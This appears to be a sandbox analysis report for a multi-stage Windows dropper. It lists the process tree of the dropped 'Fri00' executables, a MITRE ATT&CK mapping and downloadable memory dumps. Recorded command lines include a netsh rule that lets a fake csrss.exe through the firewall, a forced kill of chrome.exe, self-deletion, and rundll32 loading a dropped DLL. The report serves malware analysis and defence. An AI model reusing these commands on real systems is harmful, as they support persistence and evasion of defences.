C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00a70cad68c17.exe
Fri00a70cad68c17.exe
1⤵
- Executes dropped EXE
PID:3120

C:\Users\Admin\AppData\Local\c1d1bce4-f012-4d89-ad44-e8fdacc87686.exe
"C:\Users\Admin\AppData\Local\c1d1bce4-f012-4d89-ad44-e8fdacc87686.exe"
1⤵
PID:3788

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri007f1a815cd.exe
Fri007f1a815cd.exe /mixtwo
1⤵
- Executes dropped EXE
PID:1020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im "Fri007f1a815cd.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri007f1a815cd.exe" & exit
  2⤵
  PID:2972
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im "Fri007f1a815cd.exe" /f
    3⤵
    - Kills process with taskkill
    PID:1480

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri007f1a815cd.exe
Fri007f1a815cd.exe /mixtwo
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3584
- C:\Windows\system32\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1788
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
    3⤵
    PID:4640

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri003da4b0a49fa71b6.exe
Fri003da4b0a49fa71b6.exe
1⤵
- Executes dropped EXE
PID:2432
- C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri003da4b0a49fa71b6.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri003da4b0a49fa71b6.exe"
  2⤵
  PID:4292
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:2436
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      PID:4776
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 764
  2⤵
  - Program crash
  PID:4504

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00ea564f2dd.exe
Fri00ea564f2dd.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006e94a111.exe
Fri006e94a111.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri0024e24e95c5.exe
Fri0024e24e95c5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1864
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:4364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:1584

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006106b9f3.exe
Fri006106b9f3.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00a6abc266a1e.exe
Fri00a6abc266a1e.exe
1⤵
- Executes dropped EXE
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2116

C:\Users\Admin\AppData\Local\Temp\5FF9.exe
C:\Users\Admin\AppData\Local\Temp\5FF9.exe
1⤵
PID:1336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/520-325-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-272-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-287-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-288-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-256-0x0000000000C00000-0x0000000000C45000-memory.dmp

Download

memory/520-262-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-339-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Download

memory/520-277-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-295-0x0000000000A90000-0x0000000000A91000-memory.dmp

Download

memory/520-266-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-322-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-362-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/520-294-0x0000000000150000-0x00000000005EE000-memory.dmp

Download

memory/924-165-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-197-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-138-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-170-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-173-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/924-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/1020-261-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/1020-250-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/1180-188-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/1304-366-0x0000000002870000-0x0000000002871000-memory.dmp

Download

memory/1304-372-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-379-0x00000000026D0000-0x00000000026D1000-memory.dmp

Download

memory/1304-381-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-374-0x0000000002690000-0x0000000002691000-memory.dmp

Download

memory/1304-373-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-384-0x00000000027F0000-0x00000000027F1000-memory.dmp

Download

memory/1304-370-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-387-0x0000000002810000-0x0000000002811000-memory.dmp

Download

memory/1304-364-0x00000000028C0000-0x00000000028C1000-memory.dmp

Download

memory/1304-371-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-361-0x0000000002850000-0x0000000002851000-memory.dmp

Download

memory/1304-399-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-401-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-400-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-398-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-394-0x0000000002830000-0x0000000002831000-memory.dmp

Download

memory/1304-391-0x00000000027C0000-0x00000000027C1000-memory.dmp

Download

memory/1304-389-0x00000000027D0000-0x00000000027D1000-memory.dmp

Download

memory/1304-385-0x00000000027A0000-0x00000000027A1000-memory.dmp

Download

memory/1304-360-0x00000000028A0000-0x00000000028A1000-memory.dmp

Download

memory/1304-251-0x00000000027E0000-0x00000000027E1000-memory.dmp

Download

memory/1304-369-0x0000000003580000-0x0000000003581000-memory.dmp

Download

memory/1304-368-0x00000000028B0000-0x00000000028B1000-memory.dmp

Download

memory/1304-365-0x0000000002880000-0x0000000002881000-memory.dmp

Download

memory/1304-367-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/1304-380-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1304-376-0x0000000002640000-0x0000000002641000-memory.dmp

Download

memory/1304-377-0x0000000002660000-0x0000000002661000-memory.dmp

Download

memory/1304-248-0x0000000002680000-0x0000000002681000-memory.dmp

Download

memory/1304-358-0x0000000002890000-0x0000000002891000-memory.dmp

Download

memory/1304-278-0x0000000000400000-0x00000000007FA000-memory.dmp

Download

memory/1304-378-0x00000000026B0000-0x00000000026B1000-memory.dmp

Download

memory/1304-282-0x0000000000400000-0x0000000000402000-memory.dmp

Download

memory/1304-349-0x0000000000BA0000-0x0000000000C00000-memory.dmp

Download

memory/1304-314-0x0000000006590000-0x0000000006591000-memory.dmp

Download

memory/1580-186-0x0000000003400000-0x0000000003401000-memory.dmp

Download

memory/1580-241-0x00000000072F0000-0x00000000072F1000-memory.dmp

Download

memory/1580-179-0x0000000003400000-0x0000000003401000-memory.dmp

Download

memory/1580-215-0x0000000007930000-0x0000000007931000-memory.dmp

Download

memory/1580-203-0x0000000004E00000-0x0000000004E01000-memory.dmp

Download

memory/1580-343-0x00000000072F2000-0x00000000072F3000-memory.dmp

Download

memory/1608-217-0x0000000000740000-0x0000000000741000-memory.dmp

Download

memory/1608-355-0x0000000000F50000-0x0000000000F52000-memory.dmp

Download

memory/1624-301-0x0000000007E30000-0x0000000007E31000-memory.dmp

Download

memory/1624-185-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Download

memory/1624-279-0x0000000007190000-0x0000000007191000-memory.dmp

Download

memory/1624-347-0x0000000007192000-0x0000000007193000-memory.dmp

Download

memory/1624-180-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Download

memory/1696-229-0x0000000000530000-0x0000000000531000-memory.dmp

Download

memory/1696-273-0x000000001B350000-0x000000001B352000-memory.dmp

Download

memory/1696-254-0x0000000000960000-0x0000000000961000-memory.dmp

Download

memory/1728-290-0x0000000074DA0000-0x0000000074F62000-memory.dmp

Download

memory/1728-296-0x0000000077A90000-0x0000000077B81000-memory.dmp

Download

memory/1728-280-0x0000000001300000-0x0000000001301000-memory.dmp

Download

memory/1728-336-0x0000000003730000-0x0000000003731000-memory.dmp

Download

memory/1728-274-0x0000000001320000-0x00000000013B9000-memory.dmp

Download

memory/1916-382-0x0000000002532000-0x0000000002533000-memory.dmp

Download

memory/1916-264-0x0000000004F90000-0x0000000004F91000-memory.dmp

Download

memory/1916-292-0x0000000005700000-0x0000000005701000-memory.dmp

Download

memory/1916-284-0x0000000002534000-0x0000000002536000-memory.dmp

Download

memory/1916-283-0x00000000056B0000-0x00000000056B1000-memory.dmp

Download

memory/1916-270-0x00000000026D0000-0x00000000026D1000-memory.dmp

Download

memory/1916-330-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/1916-242-0x0000000004A90000-0x0000000004A91000-memory.dmp

Download

memory/1916-249-0x00000000024E0000-0x000000000250C000-memory.dmp

Download

memory/1916-353-0x0000000002530000-0x0000000002531000-memory.dmp

Download

memory/1916-232-0x0000000002340000-0x000000000236E000-memory.dmp

Download

memory/1916-275-0x00000000055A0000-0x00000000055A1000-memory.dmp

Download

memory/1916-383-0x0000000002533000-0x0000000002534000-memory.dmp

Download

memory/1916-200-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/1976-260-0x0000000077A90000-0x0000000077B81000-memory.dmp

Download

memory/1976-298-0x0000000004C90000-0x0000000004C91000-memory.dmp

Download

memory/1976-317-0x0000000002140000-0x0000000002187000-memory.dmp

Download

memory/1976-231-0x0000000000050000-0x0000000000051000-memory.dmp

Download

memory/1976-265-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

Download

memory/1976-224-0x0000000000AD0000-0x0000000000BA7000-memory.dmp

Download

memory/1976-240-0x0000000000AD0000-0x0000000000BA7000-memory.dmp

Download

memory/1976-276-0x0000000071430000-0x00000000714B0000-memory.dmp

Download

memory/1976-246-0x0000000074DA0000-0x0000000074F62000-memory.dmp

Download

memory/3184-308-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/3592-239-0x00000000009E0000-0x00000000009E1000-memory.dmp

Download

memory/3592-258-0x0000000005400000-0x0000000005401000-memory.dmp

Download

memory/3592-268-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

Download

memory/3592-269-0x0000000002C70000-0x0000000002C76000-memory.dmp

Download

memory/4320-351-0x0000000000700000-0x000000000084A000-memory.dmp

Download